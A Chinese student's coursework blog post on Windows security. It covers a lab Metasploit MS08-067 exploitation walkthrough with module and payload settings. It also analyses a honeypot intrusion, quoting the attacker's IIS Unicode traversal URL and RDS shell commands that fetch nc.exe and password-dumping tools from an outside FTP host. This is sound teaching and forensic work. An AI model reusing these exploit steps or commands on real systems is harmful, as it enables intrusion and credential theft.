20199116 2019-2020-2 《网络攻防实践》第七周作业

20199116 2019-2020-2 《网络攻防实践》第七周作业

前言

问题 解答
这个作业属于哪个课程 《网络攻防实践》
这个作业的要求在哪里 <作业要求>
我在这个课程的目标是 熟练掌握网络攻防知识,学习第七章 Windows操作系统安全攻防
这个作业在哪个具体方面帮助我实现目标 学习Linux操作命令以及虚拟机的应用;学习网络攻防知识,为以后研究打下基础
作业正文 如下
其他参考文献 见正文最后

1.实践内容

1.1 Windows操作系统基本框架概述

1.1.1Windows操作系统的基本结构

Windows操作系统内核的基本模块包括如下:

  • Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。

  • Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系统结构支持代码,实现底层的操作系统功能,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。

  • 设备驱动程序:硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。

  • 硬件抽象层:指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。

  • Windows窗口与图形界面接口内核实现代码:即 win 32k.sys文件(这个文件是Windows XP多用户管理的驱动文件)。

Windows操作系统在用户态的代码模块包括如下:

  • 系统支持进程:Windows开机自动启动的系统内建服务进程,如登陆进程,会话管理器进程

  • 环境子系统服务进程:为操作系统提供支持的服务进程,如windows XP只支持Windows环境子系统。

  • 服务进程:通过Windows的服务管理机制启动的一系列系统及网络服务,如Microsoft SQL Server网络服务

  • 用户应用软件:用户执行的各类用户应用软件。

  • 核心子系统DLL:即动态连接库文件

Windows操作系统内核中实现了如下的核心机制:

  • Windows进程和线程管理机制

  • Windows内存管理机制:分为系统核心内存区间和用户内存区间两部分

  • Windows文件管理机制:

    • NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性;
    • windows可执行文件采用PE格式,其结构主要由DoS头,PE头、分段表,以及具体的代码段、数据段等组成。
  • Windows注册表管理机制:

    • 注册表被称为Windows操作系统中的一个核心数据库,作为系统全局配置、用户和应用软件配置信息的存储仓库。
  • Windows的网络机制

    • Windows系统的网络组件结构图:

  • Windows下不同层次网络组件的功能
    (1)网卡硬件设备驱动程序:处于物理层,由厂商开发并提供

(2)NDIS库及mimiport驱动程序:位于OSI链路层,为各种不同的网络适配器驱动程序和TDI传输层之间构建一个封装接口。(TDI指的是WindowsNT操作系统中各种运输层协议(如SPX、TCP等)与接收软件(或重定向软件接口)之间的接口层)

(3)TDI传输层:对应OSI网络层与传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信

(4)网络API DLL及TDI客户端:会话层和表示层,独立于具体协议提供网络交互和实现方式

(5)网络应用服务程序与服务进程:应用层,各种网络API DLL,来实现网络交互和通信功能

备注:OSI(开放式系统互联)把网络通信的工作分为了7层,如下图:

1.2 Windows操作系统的安全体系结构与机制

1.2.1 Windows安全体系结构

  • windows的安全体系结构基于引用监控器来实现基本对象安全模型
  • 其最核心的是位于内核的SRM--安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制

1.2.2 Windows身份认证机制

  • 安全主体:所有进行系统资源访问请求的实体对象,分为有用户、用户组和计算机三类
  • 对于每个安全主体,都有唯一的SDI安全标识符来进行标识
  • Windows为每个用户和计算机设置账户进行管理,账户设置的根本作用就是限制这些账户内运行程序对系统资源对象的访问。
  • 引入用户组来简化用户管理
  • windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中
    -winlogon进程、GINA图形化登录窗口、LSASS服务通过协作来完成本地身份认证的过程

1.2.3 Windows授权与访问控制机制

  • Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施。
  • 用户可以在DOS窗口执行whoami /all来查看当前用户的访问令牌信息
  • windows下所有需要保护的内容都被抽象成对象,每个对象会关联一个SD安全描述符。对象安全描述符主要由如下属性组成
属性 描述
Owner SID 对象所有者的SID
Group SID 对象所在组的SID
DACL自主访问控制列表 指明了那些安全主题可以以何种方式访问该对象
SACL系统审计访问控制列表 指明了那些主体发起的那些访问需要被审计

1.2.4 Windows安全审计机制

  • 系统审计策略在本地安全策略中由系统管理员定义,确定系统对哪些事件进行记录
  • LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
  • SRM在进行对象访问授权时,依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录

1.2.5 Windows的其他安全机制

  • 除身份认证、授权与访问控制、安全审计这三个基本安全功能特性外,还有大量其他安全机制
  • 一项重要的安全机制:Windows安全中心,其具有防火墙、补丁自动更新、病毒防护机制
  • 安全中心之外还有,还有IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等

1.3 Windows远程安全攻防技术

  • 目前Windows远程攻防技术可分为以下几大类:

    • 远程口令猜测与破解攻击
    • 攻击Windows网络服务
    • 攻击Windows客户端及用户
  • 针对特定目标的渗透测试攻击过程
    (1)漏洞扫描测试
    (2)查找针对发现漏洞的渗透代码
    (3)实施渗透测试

  • Metasploit的整体架构

  • windows远程攻击方法的防御措施
    • 口令猜测和破解防范措施:用户设置较高安全强度的口令;关闭易受口令猜测攻击网络服务的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM

    • 远程渗透攻击防范措施:从软件设计上尽量减少漏洞的出现、尽可能快的更新安全补丁、为“零日”漏洞配置缓解攻击配置、利用安全清单插件来固化网络服务、通过漏洞扫描软件来标识存在的漏洞并及时补救。

1.4 Windows本地安全攻防技术

  • windows本地特权提升(获得Administrator或System账户)
    GetAdmin系列利用NT4系统内核中的漏洞,采用DLL注入攻击技术,让受限用户账户的代码能够注入到任意的系统核心进行进程中执行,从而获得LocalSystem账号权限。
    本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。

防范措施:及时打补丁、及时跟进厂家的安全警告

  • windows敏感信息窃取
    包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段

防范措施:使用安全度高、能抵挡破解的口令,现在人们还可以视同指纹、虹膜等生物特征信息来代替口令。

  • windows消灭踪迹
    主要手段包括:关闭审计功能、清理事件日志。

防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

  • 远程控制与后门
    主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。

防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序

2.实践过程

实践 1 Metasploit Windows Attack

任务:使用Metasploit软件进行Windows远程渗透攻击实验。
具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
(1)启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb 之一;
(2)使用exploit: windows/smb/ms08_ 067 netapi 渗透攻击模块;
(3)选择攻击PAYLOAD为远程shell,( 正向或反向连接均可);
(4)设置渗透攻击参数(RHOST, LHOST, TARGET等);
(5)执行渗透攻击;
(6)查看是否正确得到远程Shell,并查看获得的权限。

镜像名称 用户名 密码 IP
kali kali kali 192.168.200.2
Win2kServer administrator mima1234 192.168.200.124
  • 确认kali和win2k可以互相ping通

  • 在kali打开metasploit(左上角最靠边的图标,点进去搜索metasploit)

  • 仍然在metasploit出来的shell NO.1界面,执行search ms08_067搜索ms08_067漏洞,会显示出找到的渗透模块

  • 针对这个漏洞的渗透攻击模块
    接着执行use exploit/windows/smb/ms08_067_netapi进入该漏洞模块的使用

  • 执行show payloads会显示出有效的攻击载荷,依此选择攻击负载模块

另外,命令show targets会显示出可以被攻击的靶机的操作系统型号

  • shell_reverse_tcp,set PAYLOAD 3,选择3(在show payloads图中的3),反向连接tcp,设置攻击有效载荷

  • show options,显示出我们在攻击前需要设置的数据

  • 按照靶机RHOST,攻击机LHOST的原则配置相应的IP
    set RHOST 192.168.200.124
    set LHOST 192.168.200.2

  • 再次show options,查看payloads的状态

  • 设置目标操作系统平台类型,set TARGET 0,0代表自动匹配

  • 再这步之前记得打开wireshark抓包数据(我忘记了,所以重新来了一遍上述步骤)(抓包到的数据用于实践3),输入exploit开始攻击

待抓包到数据后,回车,界面才出现C:\WINNTsystem32>

  • 分别在kali和winserver上执行ipconfig/all得到如下图所示,查询到了靶机和攻击机的IP

将二者的ip地址、Mac地址,进行对比,是一样的,所以攻击成功

实践 2 取证分析实践:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106 (主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
(1)攻击者使用了什么破解工具进行攻击?
(2)攻击者如何使用这个破解工具进入并控制了系统?
(3)当攻击者获得系统的访问权后做了什么?
(4)我们如何防止这样的攻击?
(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

实践过程:

  • 下载老师上传的demo_NT_attack_data压缩包,在主机wireshark中打开里面的文件snort-0204@0117

  • 发现日志文件由以下内容组成:可识别的HTTP协议内容;可识别的SQL语言代码内容;可识别的系统操作代码内容;不可识别的数据(二进制数据)。

  • 先使用wireshark自带统计工具,查看http请求,操作是:菜单栏“统计->HTTP->请求

发现http请求了下面的网址:www.black-hats.com;www.BLACK-HATS.com;lab.wiretrip.net

去试了一下,www.black-hats.com似乎是个邮箱的网页
访问网页的时候,会从网页服务器下载很多文件到本地,在wireshark中看到了一些FTP(文件传输协议),上图中的gif图片文件,lab.wiretrip.net部分应该是这次的攻击代码了

  • 在图中lab.wiretrip.net下出现了很多%C0%AF,网上查了一下,%C0%AF是“/”字符的非法UTF-8表示方式,ISS的Unicode漏洞攻击其中说到:IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码。在英文版的WIN2000中 “/”编码为“%c0%af”。

    • Unicode漏洞(MS00-078/MS01-026)
      如向IIS服务器发出包括非法UTF-8序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击
  • 设置过滤条件为:ip.addr==172.16.1.106 and http
    编号为117的这一行/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini

其中boot.ini是NT系统的启动文件,%c0af是"/"的Unicode编码。同样可以说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况

再往下,发现攻击者试图向服务器获取一个msadcs.dll文件,是远程数据访问服务文件,查阅资料NT4.0下的msadcs.dll漏洞的利用得知IIS有漏洞msadcs.dll,dll存在RDS漏洞,其中介绍了RDS,!ADM!ROX!YOUR!WORLD!正好与我们所分析的log文件中匹配,故猜测是RDS漏洞攻击;

  • 接下来,我们筛选http,在http流中可以发现一些shell脚本,如下


看看攻击者如何进入控制系统,稍微整理出一些shell语句:

shell (“cmd /c echo werd >> c : f u n ” ) ;
shell ( “cmd /c echo user johna2k > ftpcom” ) ;
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get pdump.exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” )
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” ) ;
shell ( “cmd /c pdump .exe>>new.pass” ) ;
shell ( “cmd /c echo get samdump.dll>>ftpcom” ) ;
shell ( “cmd /c echo get pdump.exe>>ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” ) ;
shell ( “cmd /c ftp – s : ftpcom ) ;

  • 由上述的shell语句,可以发现攻击者创建了一个ftpcom脚本,并使用ftp连接www.nether.net(连接了好几次),并尝试下载** samdump.dll、pdump.exe和nc.exe(攻击工具)**。然后我筛选了ftp,追踪TCP流发现,这个连接由于口令错误导致连接失败。说明攻击还尚未成功。

  • 因为攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们可以直接筛选ftp连接,找到成功的ftp连接就好。发现直到1106才连接成功。

  • 攻击者就成功进入了系统。往下拉,在序号1233处,我们跟踪数据流,发现然后攻击者连接6969端口,并获得了访问权限

  • 分析下攻击者获得系统访问权后做了什么。首先用条件“tcp.port == 6969”进行筛选,追踪一下TCP流

  • 发现攻击者想获得Administrator权限,运行net session但是访问失败,又试了net users,主机的用户列表只有Administrator

  • 接着攻击者发了echo消息到C盘目录文件README.NOW.Hax0r,他还尝试net group查看组用户、net localgroup查看本地组用户、以及net group domain admins,都失败了。

  • 然后攻击者寻找msadc目录,并尝试执行pdump(抓包工具)来破解出口令密文,失败了,攻击者似乎放弃,删掉了samdump和pdump

  • 接着往下,我看到rdisk -s/,rdisk是修复磁盘程序,rdisk -s/是备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。(他用rdisk尝试获得SAM口令文件(安全账号管理器))

回答问题:
(1)攻击者使用了什么破解工具进行攻击?
根据上述,有nc.exe、pdump.exe

(2)攻击者如何使用这个破解工具进入并控制了系统?
nc.exe:完成远程主机连接后,利用telnet操作实现对操作系统的控制。

(3)当攻击者获得系统的访问权后做了什么?
见上述

(4)我们如何防止这样的攻击?

  • 自身的口令要是强口令,这样可以增大破解口令难度;
  • 及时、定期的到微软官方网站下载针对上述漏洞的补丁。
  • 禁用一些RDS服务
  • 定期的扫描自身的主机,查看是否存在漏洞。

(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
攻击者应该意识到了其攻击的是蜜罐主机。在tcp流中,发现他留下了一句话:这是他见过的最好的蜜罐主机,如图:

实践 3 团队对抗实践: Windows系统远程渗透攻击与分析

攻防对抗实践内容:攻击方Metasploit Windows Attack,防御方: wireshark 捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补J进行修补,给出攻防过程报告。

攻击方:使用metasploit, 选择metasploitable中的漏洞进行渗透攻击,获得控制权。

防守方:使用tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

  • 以下都是重复的实践1的步骤,过程我就不再截图展示了,就直接显示执行的命令吧,如下:

(1)打开kali的metasploit
(2)search ms08_067,搜索ms08_067漏洞
(3)use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用
(4)show payloads,显示出有效的攻击载荷
(5)set PAYLOAD 3,设置攻击有效载荷
(6)show options,显示我们需要在攻击前需要设置的数据
(7)按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.200.124
set LHOST 192.168.200.2
(8)show options,再次查看payload状态
(9)set TARGET 0,设置目标操作系统平台类型
(10)打开wireshark进行监听,再使用攻击命令exploit

上图可以看出攻击者ip地址192.168.200.2,端口为39533,靶机ip地址192.168.200.124,端口号为445等信息

攻击的发起时间。是从第一个ARP请求开始,即图中的序号14

图中序号13、16、17三个数据包,分别有【SYN】、【SYN,ACK】、【ACK】,所以是攻击机对靶机tcp三次握手建立连接

而后攻击机向靶机发送了许多SMB协议包,如下图

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。这个函数存在逻辑错误,会栈缓冲区溢出,攻击者借此获得远程代码执行,所以是利用这个漏洞攻击的

然后在攻击机kali执行ipconfig/all,可以在数据包部分发现我们执行的命令,显示如下图

3.学习实践中遇到的问题及思考感悟

  • 问题1:ping不通,之前实践好多次了,发现不开蜜罐的时候,虚拟机之间时而能ping通,时而不能。
  • 问题1的解决,把蜜罐打开。

4.实践总结

NT分析刚开始看的有点懵,后来好些了,分析思路清晰了一些。

posted on 2020-04-15 22:16  20199116xjq  阅读(297)  评论(0编辑  收藏  举报